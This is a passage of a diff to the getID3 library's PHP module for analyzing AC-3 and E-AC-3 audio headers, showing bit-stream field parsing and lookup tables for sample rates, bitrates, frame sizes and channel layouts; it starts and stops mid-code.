($thisfile_ac3_raw_bsi['flags']['extpgmlsscl']) { - $thisfile_ac3_raw_bsi['extpgmlsscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; - } - $thisfile_ac3_raw_bsi['flags']['extpgmrsscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - if ($thisfile_ac3_raw_bsi['flags']['extpgmrsscl']) { - $thisfile_ac3_raw_bsi['extpgmrsscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; - } - $thisfile_ac3_raw_bsi['flags']['extpgmlfescl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - if ($thisfile_ac3_raw_bsi['flags']['extpgmlfescl']) { - $thisfile_ac3_raw_bsi['extpgmlfescl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; - } - $thisfile_ac3_raw_bsi['flags']['dmixscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - if ($thisfile_ac3_raw_bsi['flags']['dmixscl']) { - $thisfile_ac3_raw_bsi['dmixscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; - } - $thisfile_ac3_raw_bsi['flags']['addch'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - if ($thisfile_ac3_raw_bsi['flags']['addch']) { - $thisfile_ac3_raw_bsi['flags']['extpgmaux1scl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - if ($thisfile_ac3_raw_bsi['flags']['extpgmaux1scl']) { - $thisfile_ac3_raw_bsi['extpgmaux1scl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; - } - $thisfile_ac3_raw_bsi['flags']['extpgmaux2scl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - if ($thisfile_ac3_raw_bsi['flags']['extpgmaux2scl']) { - $thisfile_ac3_raw_bsi['extpgmaux2scl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; - } - } - } - $thisfile_ac3_raw_bsi['flags']['mixdata3'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - if ($thisfile_ac3_raw_bsi['flags']['mixdata3']) { - $thisfile_ac3_raw_bsi['spchdat'] = $this->readHeaderBSI(5); $mixdefbitsread += 5; - $thisfile_ac3_raw_bsi['flags']['addspchdat'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - if ($thisfile_ac3_raw_bsi['flags']['addspchdat']) { - $thisfile_ac3_raw_bsi['spchdat1'] = $this->readHeaderBSI(5); $mixdefbitsread += 5; - $thisfile_ac3_raw_bsi['spchan1att'] = $this->readHeaderBSI(2); $mixdefbitsread += 2; - $thisfile_ac3_raw_bsi['flags']['addspchdat1'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - if ($thisfile_ac3_raw_bsi['flags']['addspchdat1']) { - $thisfile_ac3_raw_bsi['spchdat2'] = $this->readHeaderBSI(5); $mixdefbitsread += 5; - $thisfile_ac3_raw_bsi['spchan2att'] = $this->readHeaderBSI(3); $mixdefbitsread += 3; - } - } - } - $mixdata_bits = (8 * ($thisfile_ac3_raw_bsi['mixdeflen'] + 2)) - $mixdefbitsread; - $mixdata_fill = (($mixdata_bits % 8) ? 8 - ($mixdata_bits % 8) : 0); - $thisfile_ac3_raw_bsi['mixdata'] = $this->readHeaderBSI($mixdata_bits); - $thisfile_ac3_raw_bsi['mixdatafill'] = $this->readHeaderBSI($mixdata_fill); - unset($mixdefbitsread, $mixdata_bits, $mixdata_fill); - } - if ($thisfile_ac3_raw_bsi['acmod'] < 2) { // if mono or dual mono source - $thisfile_ac3_raw_bsi['flags']['paninfo'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['paninfo']) { - $thisfile_ac3_raw_bsi['panmean'] = $this->readHeaderBSI(8); - $thisfile_ac3_raw_bsi['paninfo'] = $this->readHeaderBSI(6); - } - if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value) - $thisfile_ac3_raw_bsi['flags']['paninfo2'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['paninfo2']) { - $thisfile_ac3_raw_bsi['panmean2'] = $this->readHeaderBSI(8); - $thisfile_ac3_raw_bsi['paninfo2'] = $this->readHeaderBSI(6); - } - } - } - $thisfile_ac3_raw_bsi['flags']['frmmixcfginfo'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['frmmixcfginfo']) { // mixing configuration information - if ($thisfile_ac3_raw_bsi['numblkscod'] == 0) { - $thisfile_ac3_raw_bsi['blkmixcfginfo'][0] = $this->readHeaderBSI(5); - } else { - for ($blk = 0; $blk < $thisfile_ac3_raw_bsi['numblkscod']; $blk++) { - $thisfile_ac3_raw_bsi['flags']['blkmixcfginfo'.$blk] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['blkmixcfginfo'.$blk]) { // mixing configuration information - $thisfile_ac3_raw_bsi['blkmixcfginfo'][$blk] = $this->readHeaderBSI(5); - } - } - } - } - } - } - $thisfile_ac3_raw_bsi['flags']['infomdat'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['infomdat']) { // Informational metadata - $thisfile_ac3_raw_bsi['bsmod'] = $this->readHeaderBSI(3); - $thisfile_ac3_raw_bsi['flags']['copyrightb'] = (bool) $this->readHeaderBSI(1); - $thisfile_ac3_raw_bsi['flags']['origbs'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['acmod'] == 2) { // if in 2/0 mode - $thisfile_ac3_raw_bsi['dsurmod'] = $this->readHeaderBSI(2); - $thisfile_ac3_raw_bsi['dheadphonmod'] = $this->readHeaderBSI(2); - } - if ($thisfile_ac3_raw_bsi['acmod'] >= 6) { // if both surround channels exist - $thisfile_ac3_raw_bsi['dsurexmod'] = $this->readHeaderBSI(2); - } - $thisfile_ac3_raw_bsi['flags']['audprodi'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['audprodi']) { - $thisfile_ac3_raw_bsi['mixlevel'] = $this->readHeaderBSI(5); - $thisfile_ac3_raw_bsi['roomtyp'] = $this->readHeaderBSI(2); - $thisfile_ac3_raw_bsi['flags']['adconvtyp'] = (bool) $this->readHeaderBSI(1); - } - if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value) - $thisfile_ac3_raw_bsi['flags']['audprodi2'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['audprodi2']) { - $thisfile_ac3_raw_bsi['mixlevel2'] = $this->readHeaderBSI(5); - $thisfile_ac3_raw_bsi['roomtyp2'] = $this->readHeaderBSI(2); - $thisfile_ac3_raw_bsi['flags']['adconvtyp2'] = (bool) $this->readHeaderBSI(1); - } - } - if ($thisfile_ac3_raw_bsi['fscod'] < 3) { // if not half sample rate - $thisfile_ac3_raw_bsi['flags']['sourcefscod'] = (bool) $this->readHeaderBSI(1); - } - } - if (($thisfile_ac3_raw_bsi['strmtyp'] == 0) && ($thisfile_ac3_raw_bsi['numblkscod'] != 3)) { // if both surround channels exist - $thisfile_ac3_raw_bsi['flags']['convsync'] = (bool) $this->readHeaderBSI(1); - } - if ($thisfile_ac3_raw_bsi['strmtyp'] == 2) { // if bit stream converted from AC-3 - if ($thisfile_ac3_raw_bsi['numblkscod'] != 3) { // 6 blocks per syncframe - $thisfile_ac3_raw_bsi['flags']['blkid'] = 1; - } else { - $thisfile_ac3_raw_bsi['flags']['blkid'] = (bool) $this->readHeaderBSI(1); - } - if ($thisfile_ac3_raw_bsi['flags']['blkid']) { - $thisfile_ac3_raw_bsi['frmsizecod'] = $this->readHeaderBSI(6); - } - } - $thisfile_ac3_raw_bsi['flags']['addbsi'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['addbsi']) { - $thisfile_ac3_raw_bsi['addbsil'] = $this->readHeaderBSI(6); - $thisfile_ac3_raw_bsi['addbsi'] = $this->readHeaderBSI(($thisfile_ac3_raw_bsi['addbsil'] + 1) * 8); - } - - } else { - - $this->error('Bit stream identification is version '.$thisfile_ac3_raw_bsi['bsid'].', but getID3() only understands up to version 16. Please submit a support ticket with a sample file.'); - unset($info['ac3']); - return false; - - } - - if (isset($thisfile_ac3_raw_bsi['fscod2'])) { - $thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup2($thisfile_ac3_raw_bsi['fscod2']); - } else { - $thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup($thisfile_ac3_raw_bsi['fscod']); - } - if ($thisfile_ac3_raw_bsi['fscod'] <= 3) { - $info['audio']['sample_rate'] = $thisfile_ac3['sample_rate']; - } else { - $this->warning('Unexpected ac3.bsi.fscod value: '.$thisfile_ac3_raw_bsi['fscod']); - } - if (isset($thisfile_ac3_raw_bsi['frmsizecod'])) { - $thisfile_ac3['frame_length'] = self::frameSizeLookup($thisfile_ac3_raw_bsi['frmsizecod'], $thisfile_ac3_raw_bsi['fscod']); - $thisfile_ac3['bitrate'] = self::bitrateLookup($thisfile_ac3_raw_bsi['frmsizecod']); - } elseif (!empty($thisfile_ac3_raw_bsi['frmsiz'])) { - // this isn't right, but it's (usually) close, roughly 5% less than it should be. - // but WHERE is the actual bitrate value stored in EAC3?? email info@getid3.org if you know! - $thisfile_ac3['bitrate'] = ($thisfile_ac3_raw_bsi['frmsiz'] + 1) * 16 * 30; // The frmsiz field shall contain a value one less than the overall size of the coded syncframe in 16-bit words. That is, this field may assume a value ranging from 0 to 2047, and these values correspond to syncframe sizes ranging from 1 to 2048. - // kludge-fix to make it approximately the expected value, still not "right": - $thisfile_ac3['bitrate'] = round(($thisfile_ac3['bitrate'] * 1.05) / 16000) * 16000; - } - $info['audio']['bitrate'] = $thisfile_ac3['bitrate']; - - if (isset($thisfile_ac3_raw_bsi['bsmod']) && isset($thisfile_ac3_raw_bsi['acmod'])) { - $thisfile_ac3['service_type'] = self::serviceTypeLookup($thisfile_ac3_raw_bsi['bsmod'], $thisfile_ac3_raw_bsi['acmod']); - } - $ac3_coding_mode = self::audioCodingModeLookup($thisfile_ac3_raw_bsi['acmod']); - foreach($ac3_coding_mode as $key => $value) { - $thisfile_ac3[$key] = $value; - } - switch ($thisfile_ac3_raw_bsi['acmod']) { - case 0: - case 1: - $info['audio']['channelmode'] = 'mono'; - break; - case 3: - case 4: - $info['audio']['channelmode'] = 'stereo'; - break; - default: - $info['audio']['channelmode'] = 'surround'; - break; - } - $info['audio']['channels'] = $thisfile_ac3['num_channels']; - - $thisfile_ac3['lfe_enabled'] = $thisfile_ac3_raw_bsi['flags']['lfeon']; - if ($thisfile_ac3_raw_bsi['flags']['lfeon']) { - $info['audio']['channels'] .= '.1'; - } - - $thisfile_ac3['channels_enabled'] = self::channelsEnabledLookup($thisfile_ac3_raw_bsi['acmod'], $thisfile_ac3_raw_bsi['flags']['lfeon']); - $thisfile_ac3['dialogue_normalization'] = '-'.$thisfile_ac3_raw_bsi['dialnorm'].'dB'; - - return true; - } - - /** - * @param int $length - * - * @return int - */ - private function readHeaderBSI($length) { - $data = substr($this->AC3header['bsi'], $this->BSIoffset, $length); - $this->BSIoffset += $length; - - return bindec($data); - } - - /** - * @param int $fscod - * - * @return int|string|false - */ - public static function sampleRateCodeLookup($fscod) { - static $sampleRateCodeLookup = array( - 0 => 48000, - 1 => 44100, - 2 => 32000, - 3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute. - ); - return (isset($sampleRateCodeLookup[$fscod]) ? $sampleRateCodeLookup[$fscod] : false); - } - - /** - * @param int $fscod2 - * - * @return int|string|false - */ - public static function sampleRateCodeLookup2($fscod2) { - static $sampleRateCodeLookup2 = array( - 0 => 24000, - 1 => 22050, - 2 => 16000, - 3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute. - ); - return (isset($sampleRateCodeLookup2[$fscod2]) ? $sampleRateCodeLookup2[$fscod2] : false); - } - - /** - * @param int $bsmod - * @param int $acmod - * - * @return string|false - */ - public static function serviceTypeLookup($bsmod, $acmod) { - static $serviceTypeLookup = array(); - if (empty($serviceTypeLookup)) { - for ($i = 0; $i <= 7; $i++) { - $serviceTypeLookup[0][$i] = 'main audio service: complete main (CM)'; - $serviceTypeLookup[1][$i] = 'main audio service: music and effects (ME)'; - $serviceTypeLookup[2][$i] = 'associated service: visually impaired (VI)'; - $serviceTypeLookup[3][$i] = 'associated service: hearing impaired (HI)'; - $serviceTypeLookup[4][$i] = 'associated service: dialogue (D)'; - $serviceTypeLookup[5][$i] = 'associated service: commentary (C)'; - $serviceTypeLookup[6][$i] = 'associated service: emergency (E)'; - } - - $serviceTypeLookup[7][1] = 'associated service: voice over (VO)'; - for ($i = 2; $i <= 7; $i++) { - $serviceTypeLookup[7][$i] = 'main audio service: karaoke'; - } - } - return (isset($serviceTypeLookup[$bsmod][$acmod]) ? $serviceTypeLookup[$bsmod][$acmod] : false); - } - - /** - * @param int $acmod - * - * @return array|false - */ - public static function audioCodingModeLookup($acmod) { - // array(channel configuration, # channels (not incl LFE), channel order) - static $audioCodingModeLookup = array ( - 0 => array('channel_config'=>'1+1', 'num_channels'=>2, 'channel_order'=>'Ch1,Ch2'), - 1 => array('channel_config'=>'1/0', 'num_channels'=>1, 'channel_order'=>'C'), - 2 => array('channel_config'=>'2/0', 'num_channels'=>2, 'channel_order'=>'L,R'), - 3 => array('channel_config'=>'3/0', 'num_channels'=>3, 'channel_order'=>'L,C,R'), - 4 => array('channel_config'=>'2/1', 'num_channels'=>3, 'channel_order'=>'L,R,S'), - 5 => array('channel_config'=>'3/1', 'num_channels'=>4, 'channel_order'=>'L,C,R,S'), - 6 => array('channel_config'=>'2/2', 'num_channels'=>4, 'channel_order'=>'L,R,SL,SR'), - 7 => array('channel_config'=>'3/2', 'num_channels'=>5, 'channel_order'=>'L,C,R,SL,SR'), - ); - return (isset($audioCodingModeLookup[$acmod]) ? $audioCodingModeLookup[$acmod] : false); - } - - /** - * @param int $cmixlev - * - * @return int|float|string|false - */ - public static function centerMixLevelLookup($cmixlev) { - static $centerMixLevelLookup; - if (empty($centerMixLevelLookup)) { - $centerMixLevelLookup = array( - 0 => pow(2, -3.0 / 6), // 0.707 (-3.0 dB) - 1 => pow(2, -4.5 / 6), // 0.595 (-4.5 dB) - 2 => pow(2, -6.0 / 6), // 0.500 (-6.0 dB) - 3 => 'reserved' - ); - } - return (isset($centerMixLevelLookup[$cmixlev]) ? $centerMixLevelLookup[$cmixlev] : false); - } - - /** - * @param int $surmixlev - * - * @return int|float|string|false - */ - public static function surroundMixLevelLookup($surmixlev) { - static $surroundMixLevelLookup; - if (empty($surroundMixLevelLookup)) { - $surroundMixLevelLookup = array( - 0 => pow(2, -3.0 / 6), - 1 => pow(2, -6.0 / 6), - 2 => 0, - 3 => 'reserved' - ); - } - return (isset($surroundMixLevelLookup[$surmixlev]) ? $surroundMixLevelLookup[$surmixlev] : false); - } - - /** - * @param int $dsurmod - * - * @return string|false - */ - public static function dolbySurroundModeLookup($dsurmod) { - static $dolbySurroundModeLookup = array( - 0 => 'not indicated', - 1 => 'Not Dolby Surround encoded', - 2 => 'Dolby Surround encoded', - 3 => 'reserved' - ); - return (isset($dolbySurroundModeLookup[$dsurmod]) ? $dolbySurroundModeLookup[$dsurmod] : false); - } - - /** - * @param int $acmod - * @param bool $lfeon - * - * @return array - */ - public static function channelsEnabledLookup($acmod, $lfeon) { - $lookup = array( - 'ch1'=>($acmod == 0), - 'ch2'=>($acmod == 0), - 'left'=>($acmod > 1), - 'right'=>($acmod > 1), - 'center'=>(bool) ($acmod & 0x01), - 'surround_mono'=>false, - 'surround_left'=>false, - 'surround_right'=>false, - 'lfe'=>$lfeon); - switch ($acmod) { - case 4: - case 5: - $lookup['surround_mono'] = true; - break; - case 6: - case 7: - $lookup['surround_left'] = true; - $lookup['surround_right'] = true; - break; - } - return $lookup; - } - - /** - * @param int $compre - * - * @return float|int - */ - public static function heavyCompression($compre) { - // The first four bits indicate gain changes in 6.02dB increments which can be - // implemented with an arithmetic shift operation. The following four bits - // indicate linear gain changes, and require a 5-bit multiply. - // We will represent the two 4-bit fields of compr as follows: - // X0 X1 X2 X3 . Y4 Y5 Y6 Y7 - // The meaning of the X values is most simply described by considering X to represent a 4-bit - // signed integer with values from -8 to +7. The gain indicated by X is then (X + 1) * 6.02 dB. The - // following table shows this in detail. - - // Meaning of 4 msb of compr - // 7 +48.16 dB - // 6 +42.14 dB - // 5 +36.12 dB - // 4 +30.10 dB - // 3 +24.08 dB - // 2 +18.06 dB - // 1 +12.04 dB - // 0 +6.02 dB - // -1 0 dB - // -2 -6.02 dB - // -3 -12.04 dB - // -4 -18.06 dB - // -5 -24.08 dB - // -6 -30.10 dB - // -7 -36.12 dB - // -8 -42.14 dB - - $fourbit = str_pad(decbin(($compre & 0xF0) >> 4), 4, '0', STR_PAD_LEFT); - if ($fourbit[0] == '1') { - $log_gain = -8 + bindec(substr($fourbit, 1)); - } else { - $log_gain = bindec(substr($fourbit, 1)); - } - $log_gain = ($log_gain + 1) * getid3_lib::RGADamplitude2dB(2); - - // The value of Y is a linear representation of a gain change of up to -6 dB. Y is considered to - // be an unsigned fractional integer, with a leading value of 1, or: 0.1 Y4 Y5 Y6 Y7 (base 2). Y can - // represent values between 0.111112 (or 31/32) and 0.100002 (or 1/2). Thus, Y can represent gain - // changes from -0.28 dB to -6.02 dB. - - $lin_gain = (16 + ($compre & 0x0F)) / 32; - - // The combination of X and Y values allows compr to indicate gain changes from - // 48.16 - 0.28 = +47.89 dB, to - // -42.14 - 6.02 = -48.16 dB. - - return $log_gain - $lin_gain; - } - - /** - * @param int $roomtyp - * - * @return string|false - */ - public static function roomTypeLookup($roomtyp) { - static $roomTypeLookup = array( - 0 => 'not indicated', - 1 => 'large room, X curve monitor', - 2 => 'small room, flat monitor', - 3 => 'reserved' - ); - return (isset($roomTypeLookup[$roomtyp]) ? $roomTypeLookup[$roomtyp] : false); - } - - /** - * @param int $frmsizecod - * @param int $fscod - * - * @return int|false - */ - public static function frameSizeLookup($frmsizecod, $fscod) { - // LSB is whether padding is used or not - $padding = (bool) ($frmsizecod & 0x01); - $framesizeid = ($frmsizecod & 0x3E) >> 1; - - static $frameSizeLookup = array(); - if (empty($frameSizeLookup)) { - $frameSizeLookup = array ( - 0 => array( 128, 138, 192), // 32 kbps - 1 => array( 160, 174, 240), // 40 kbps - 2 => array( 192, 208, 288), // 48 kbps - 3 => array( 224, 242, 336), // 56 kbps - 4 => array( 256, 278, 384), // 64 kbps - 5 => array( 320, 348, 480), // 80 kbps - 6 => array( 384, 416, 576), // 96 kbps - 7 => array( 448, 486, 672), // 112 kbps - 8 => array( 512, 556, 768), // 128 kbps - 9 => array( 640, 696, 960), // 160 kbps - 10 => array( 768, 834, 1152), // 192 kbps - 11 => array( 896, 974, 1344), // 224 kbps - 12 => array(1024, 1114, 1536), // 256 kbps - 13 => array(1280, 1392, 1920), // 320 kbps - 14 => array(1536, 1670, 2304), // 384 kbps - 15 => array(1792, 1950, 2688), // 448 kbps - 16 => array(2048, 2228, 3072), // 512 kbps - 17 => array(2304, 2506, 3456), // 576 kbps - 18 => array(2560, 2786, 3840) // 640 kbps - ); - } - $paddingBytes = 0; - if (($fscod == 1) && $padding) { - // frame lengths are padded by 1 word (16 bits) at 44100 - // (fscode==1) means 44100Hz (see sampleRateCodeLookup) - $paddingBytes = 2; - } - return (isset($frameSizeLookup[$framesizeid][$fscod]) ? $frameSizeLookup[$framesizeid][$fscod] + $paddingBytes : false); - } - - /** - * @param int $frmsizecod - * - * @return int|false - */ - public static function bitrateLookup($frmsizecod) { - // LSB is whether padding is used or not - $padding = (bool) ($frmsizecod & 0x01); - $framesizeid = ($frmsizecod & 0x3E) >> 1; - - static $bitrateLookup = array( - 0 => 32000, - 1 => 40000, - 2 => 48000, - 3 => 56000, - 4 => 64000, - 5 => 80000, - 6 => 96000, - 7 => 112000, - 8 => 128000, - 9 => 160000, - 10 => 192000, - 11 => 224000, - 12 => 256000, - 13 => 320000, - 14 => 384000, - 15 => 448000, - 16 => 512000, - 17 => 576000, - 18 => 640000, - ); - return (isset($bitrateLookup[$framesizeid]) ? $bitrateLookup[$framesizeid] : false); - } - - /** - * @param int $numblkscod - * - * @return int|false - */ - public static function blocksPerSyncFrame($numblkscod) { - static $blocksPerSyncFrameLookup = array( - 0 => 1, - 1 => 2, - 2 => 3, - 3 => 6, - ); - return (isset($blocksPerSyncFrameLookup[$numblkscod]) ? $blocksPerSyncFrameLookup[$numblkscod] : false); - } - - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.ac3.php // +// module for analyzing AC-3 (aka Dolby Digital) audio files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_ac3 extends getid3_handler +{ + /** + * @var array + */ + private $AC3header = array(); + + /** + * @var int + */ + private $BSIoffset = 0; + + const syncword = 0x0B77; + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + ///AH + $info['ac3']['raw']['bsi'] = array(); + $thisfile_ac3 = &$info['ac3']; + $thisfile_ac3_raw = &$thisfile_ac3['raw']; + $thisfile_ac3_raw_bsi = &$thisfile_ac3_raw['bsi']; + + + // http://www.atsc.org/standards/a_52a.pdf + + $info['fileformat'] = 'ac3'; + + // An AC-3 serial coded audio bit stream is made up of a sequence of synchronization frames + // Each synchronization frame contains 6 coded audio blocks (AB), each of which represent 256 + // new audio samples per channel. A synchronization information (SI) header at the beginning + // of each frame contains information needed to acquire and maintain synchronization. A + // bit stream information (BSI) header follows SI, and contains parameters describing the coded + // audio service. The coded audio blocks may be followed by an auxiliary data (Aux) field. At the + // end of each frame is an error check field that includes a CRC word for error detection. An + // additional CRC word is located in the SI header, the use of which, by a decoder, is optional. + // + // syncinfo() | bsi() | AB0 | AB1 | AB2 | AB3 | AB4 | AB5 | Aux | CRC + + // syncinfo() { + // syncword 16 + // crc1 16 + // fscod 2 + // frmsizecod 6 + // } /* end of syncinfo */ + + $this->fseek($info['avdataoffset']); + $tempAC3header = $this->fread(100); // should be enough to cover all data, there are some variable-length fields...? + $this->AC3header['syncinfo'] = getid3_lib::BigEndian2Int(substr($tempAC3header, 0, 2)); + $this->AC3header['bsi'] = getid3_lib::BigEndian2Bin(substr($tempAC3header, 2)); + $thisfile_ac3_raw_bsi['bsid'] = (getid3_lib::LittleEndian2Int(substr($tempAC3header, 5, 1)) & 0xF8) >> 3; // AC3 and E-AC3 put the "bsid" version identifier in the same place, but unfortnately the 4 bytes between the syncword and the version identifier are interpreted differently, so grab it here so the following code structure can make sense + unset($tempAC3header); + + if ($this->AC3header['syncinfo'] !== self::syncword) { + if (!$this->isDependencyFor('matroska')) { + unset($info['fileformat'], $info['ac3']); + return $this->error('Expecting "'.dechex(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.dechex($this->AC3header['syncinfo']).'"'); + } + } + + $info['audio']['dataformat'] = 'ac3'; + $info['audio']['bitrate_mode'] = 'cbr'; + $info['audio']['lossless'] = false; + + if ($thisfile_ac3_raw_bsi['bsid'] <= 8) { + + $thisfile_ac3_raw_bsi['crc1'] = getid3_lib::Bin2Dec($this->readHeaderBSI(16)); + $thisfile_ac3_raw_bsi['fscod'] = $this->readHeaderBSI(2); // 5.4.1.3 + $thisfile_ac3_raw_bsi['frmsizecod'] = $this->readHeaderBSI(6); // 5.4.1.4 + if ($thisfile_ac3_raw_bsi['frmsizecod'] > 37) { // binary: 100101 - see Table 5.18 Frame Size Code Table (1 word = 16 bits) + $this->warning('Unexpected ac3.bsi.frmsizecod value: '.$thisfile_ac3_raw_bsi['frmsizecod'].', bitrate not set correctly'); + } + + $thisfile_ac3_raw_bsi['bsid'] = $this->readHeaderBSI(5); // we already know this from pre-parsing the version identifier, but re-read it to let the bitstream flow as intended + $thisfile_ac3_raw_bsi['bsmod'] = $this->readHeaderBSI(3); + $thisfile_ac3_raw_bsi['acmod'] = $this->readHeaderBSI(3); + + if ($thisfile_ac3_raw_bsi['acmod'] & 0x01) { + // If the lsb of acmod is a 1, center channel is in use and cmixlev follows in the bit stream. + $thisfile_ac3_raw_bsi['cmixlev'] = $this->readHeaderBSI(2); + $thisfile_ac3['center_mix_level'] = self::centerMixLevelLookup($thisfile_ac3_raw_bsi['cmixlev']); + } + + if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) { + // If the msb of acmod is a 1, surround channels are in use and surmixlev follows in the bit stream. + $thisfile_ac3_raw_bsi['surmixlev'] = $this->readHeaderBSI(2); + $thisfile_ac3['surround_mix_level'] = self::surroundMixLevelLookup($thisfile_ac3_raw_bsi['surmixlev']); + } + + if ($thisfile_ac3_raw_bsi['acmod'] == 0x02) { + // When operating in the two channel mode, this 2-bit code indicates whether or not the program has been encoded in Dolby Surround. + $thisfile_ac3_raw_bsi['dsurmod'] = $this->readHeaderBSI(2); + $thisfile_ac3['dolby_surround_mode'] = self::dolbySurroundModeLookup($thisfile_ac3_raw_bsi['dsurmod']); + } + + $thisfile_ac3_raw_bsi['flags']['lfeon'] = (bool) $this->readHeaderBSI(1); + + // This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31. + // The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent. + $thisfile_ac3_raw_bsi['dialnorm'] = $this->readHeaderBSI(5); // 5.4.2.8 dialnorm: Dialogue Normalization, 5 Bits + + $thisfile_ac3_raw_bsi['flags']['compr'] = (bool) $this->readHeaderBSI(1); // 5.4.2.9 compre: Compression Gain Word Exists, 1 Bit + if ($thisfile_ac3_raw_bsi['flags']['compr']) { + $thisfile_ac3_raw_bsi['compr'] = $this->readHeaderBSI(8); // 5.4.2.10 compr: Compression Gain Word, 8 Bits + $thisfile_ac3['heavy_compression'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr']); + } + + $thisfile_ac3_raw_bsi['flags']['langcod'] = (bool) $this->readHeaderBSI(1); // 5.4.2.11 langcode: Language Code Exists, 1 Bit + if ($thisfile_ac3_raw_bsi['flags']['langcod']) { + $thisfile_ac3_raw_bsi['langcod'] = $this->readHeaderBSI(8); // 5.4.2.12 langcod: Language Code, 8 Bits + } + + $thisfile_ac3_raw_bsi['flags']['audprodinfo'] = (bool) $this->readHeaderBSI(1); // 5.4.2.13 audprodie: Audio Production Information Exists, 1 Bit + if ($thisfile_ac3_raw_bsi['flags']['audprodinfo']) { + $thisfile_ac3_raw_bsi['mixlevel'] = $this->readHeaderBSI(5); // 5.4.2.14 mixlevel: Mixing Level, 5 Bits + $thisfile_ac3_raw_bsi['roomtyp'] = $this->readHeaderBSI(2); // 5.4.2.15 roomtyp: Room Type, 2 Bits + + $thisfile_ac3['mixing_level'] = (80 + $thisfile_ac3_raw_bsi['mixlevel']).'dB'; + $thisfile_ac3['room_type'] = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp']); + } + + + $thisfile_ac3_raw_bsi['dialnorm2'] = $this->readHeaderBSI(5); // 5.4.2.16 dialnorm2: Dialogue Normalization, ch2, 5 Bits + $thisfile_ac3['dialogue_normalization2'] = '-'.$thisfile_ac3_raw_bsi['dialnorm2'].'dB'; // This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31. The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent. + + $thisfile_ac3_raw_bsi['flags']['compr2'] = (bool) $this->readHeaderBSI(1); // 5.4.2.17 compr2e: Compression Gain Word Exists, ch2, 1 Bit + if ($thisfile_ac3_raw_bsi['flags']['compr2']) { + $thisfile_ac3_raw_bsi['compr2'] = $this->readHeaderBSI(8); // 5.4.2.18 compr2: Compression Gain Word, ch2, 8 Bits + $thisfile_ac3['heavy_compression2'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr2']); + } + + $thisfile_ac3_raw_bsi['flags']['langcod2'] = (bool) $this->readHeaderBSI(1); // 5.4.2.19 langcod2e: Language Code Exists, ch2, 1 Bit + if ($thisfile_ac3_raw_bsi['flags']['langcod2']) { + $thisfile_ac3_raw_bsi['langcod2'] = $this->readHeaderBSI(8); // 5.4.2.20 langcod2: Language Code, ch2, 8 Bits + } + + $thisfile_ac3_raw_bsi['flags']['audprodinfo2'] = (bool) $this->readHeaderBSI(1); // 5.4.2.21 audprodi2e: Audio Production Information Exists, ch2, 1 Bit + if ($thisfile_ac3_raw_bsi['flags']['audprodinfo2']) { + $thisfile_ac3_raw_bsi['mixlevel2'] = $this->readHeaderBSI(5); // 5.4.2.22 mixlevel2: Mixing Level, ch2, 5 Bits + $thisfile_ac3_raw_bsi['roomtyp2'] = $this->readHeaderBSI(2); // 5.4.2.23 roomtyp2: Room Type, ch2, 2 Bits + + $thisfile_ac3['mixing_level2'] = (80 + $thisfile_ac3_raw_bsi['mixlevel2']).'dB'; + $thisfile_ac3['room_type2'] = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp2']); + } + + $thisfile_ac3_raw_bsi['copyright'] = (bool) $this->readHeaderBSI(1); // 5.4.2.24 copyrightb: Copyright Bit, 1 Bit + + $thisfile_ac3_raw_bsi['original'] = (bool) $this->readHeaderBSI(1); // 5.4.2.25 origbs: Original Bit Stream, 1 Bit + + $thisfile_ac3_raw_bsi['flags']['timecod1'] = $this->readHeaderBSI(2); // 5.4.2.26 timecod1e, timcode2e: Time Code (first and second) Halves Exist, 2 Bits + if 